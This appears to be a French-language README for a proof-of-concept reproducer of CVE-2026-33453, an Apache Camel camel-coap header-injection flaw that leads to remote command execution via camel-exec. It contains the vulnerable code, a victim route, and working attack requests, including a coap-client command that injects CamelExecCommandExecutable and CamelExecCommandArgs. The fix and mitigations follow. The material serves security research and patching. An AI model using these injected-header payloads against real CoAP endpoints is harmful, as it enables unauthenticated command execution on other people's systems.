
Reproducteur pour CVE-2026-33453 : injection d'en-tête camel-coap Apache Camel vers RCE via camel-exec
Ce projet démontre une vulnérabilité d'injection d'en-tête de message Camel dans le composant camel-coap d'Apache Camel, suivie sous le numéro CVE-2026-33453. Un attaquant non authentifié capable d'envoyer un seul paquet UDP CoAP peut injecter des en-têtes de contrôle Camel* arbitraires dans l'Exchange, réalisant une exécution de code à distance lorsque la route transmet à un producteur sensible aux en-têtes comme camel-exec.
Advisory: https://camel.apache.org/security/CVE-2026-33453.html
| Propriété | Valeur |
|---|
| Composant | camel-coap |
| Classe affectée | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| Cause racine | Paramètres de requête URI CoAP copiés dans les en-têtes Exchange sans HeaderFilterStrategy |
| CWE | CWE-915 : Contrôle inapproprié de la modification d'attributs d'objets déterminés dynamiquement |
| Impact | Exécution de code à distance (via des producteurs sensibles aux en-têtes, ex. camel-exec) |
| Surface d'attaque | Un seul datagramme UDP CoAP non authentifié (port par défaut 5683) |
| Versions affectées | De 4.14.0 avant 4.14.6, et de 4.15.0 avant 4.18.1 |
| Versions corrigées | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Rapporteur | Hyunwoo Kim (@v4bel) |
Dans les versions affectées, CamelCoapResource.handleRequest() itère sur les options de requête URI de la requête CoAP et copie chacune d'elles dans les en-têtes In de l'Exchange Camel, sans appliquer aucun HeaderFilterStrategy :
// CamelCoapResource.handleRequest() - version affectée
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // PAS DE HeaderFilterStrategy !
}
CoAPEndpoint étend DefaultEndpoint (pas DefaultHeaderFilterStrategyEndpoint) et CoAPComponent n'implémente pas HeaderFilterStrategyComponent, il n'y a donc aucun filtre. Un attaquant peut donc définir n'importe quel en-tête — y compris les en-têtes de contrôle Camel* internes à Camel — simplement en ajoutant des paramètres de requête à l'URI de la requête CoAP.
Lorsque la route délivre le message à un producteur sensible aux en-têtes, ces en-têtes modifient son comportement. Pour camel-exec, les en-têtes CamelExecCommandExecutable et CamelExecCommandArgs remplacent l'exécutable et les arguments configurés sur le point de terminaison (respectés par défaut dans les versions affectées), permettant l'exécution arbitraire de commandes OS. La sortie standard de la commande est réécrite dans le corps de l'Exchange et renvoyée dans la réponse CoAP, offrant un canal RCE interactif.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // commande fixe et inoffensive
.convertBodyTo(String.class); // retourne la sortie standard dans la réponse CoAP
Une requête bénigne exécute echo hello. Un attaquant remplace la commande via des en-têtes injectés.
CoAP est basé sur UDP (RFC 7252) sans authentification intégrée (DTLS est optionnel et désactivé par défaut), donc aucun service externe ou conteneur Docker n'est requis — l'application de reproduction est à la fois le serveur CoAP vulnérable et un client attaquant intégré (un client brut tel que coap-client de libcoap fonctionne également).
mvn clean package -DskipTests
mvn spring-boot:run
L'application démarre la route vulnérable sur coap://0.0.0.0:5683/run et un contrôleur REST d'assistance sur 8080.
curl http://localhost:8080/exploit/normal
# -> Réponse CoAP : hello
# Preuve bénigne par défaut : touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# Choisir un exécutable/arguments différents :
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
En interne, le client CoAP intégré envoie un seul datagramme :
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
Avec un client CoAP brut à la place :
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
Si /tmp/pwned existe, l'en-tête injecté a remplacé la commande exec → RCE.
L'injection nécessite seulement un producteur sensible aux en-têtes en aval. L'avis liste, entre autres :
CamelExecCommandExecutable / CamelExecCommandArgs → exécution de commande OSCamelFileName → écriture de fichier arbitraire / traversée de cheminCamelBeanMethodName → invoquer une méthode différentecoap://....removeHeaders("Camel*") entre le consommateur CoAP et ce producteur.Aucune authentification n'est requise ; un seul datagramme UDP vers le port 5683 suffit.
Le correctif (CAMEL-23222) fait en sorte que CoAPEndpoint porte un HeaderFilterStrategy et l'applique dans handleRequest() avant de définir les en-têtes, de sorte que les noms préfixés par Camel* soient filtrés à la frontière CoAP comme tous les autres transports :
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
En attendant la mise à niveau :
.removeHeaders("Camel*") juste après le from("coap:...").coaps://) avec authentification client pour restreindre qui peut atteindre le point de terminaison.CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Point d'entrée Spring Boot
│ ├── CoapExecRoute.java # la route victime vulnérable (coap -> exec)
│ └── ExploitController.java # client attaquant CoAP intégré (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.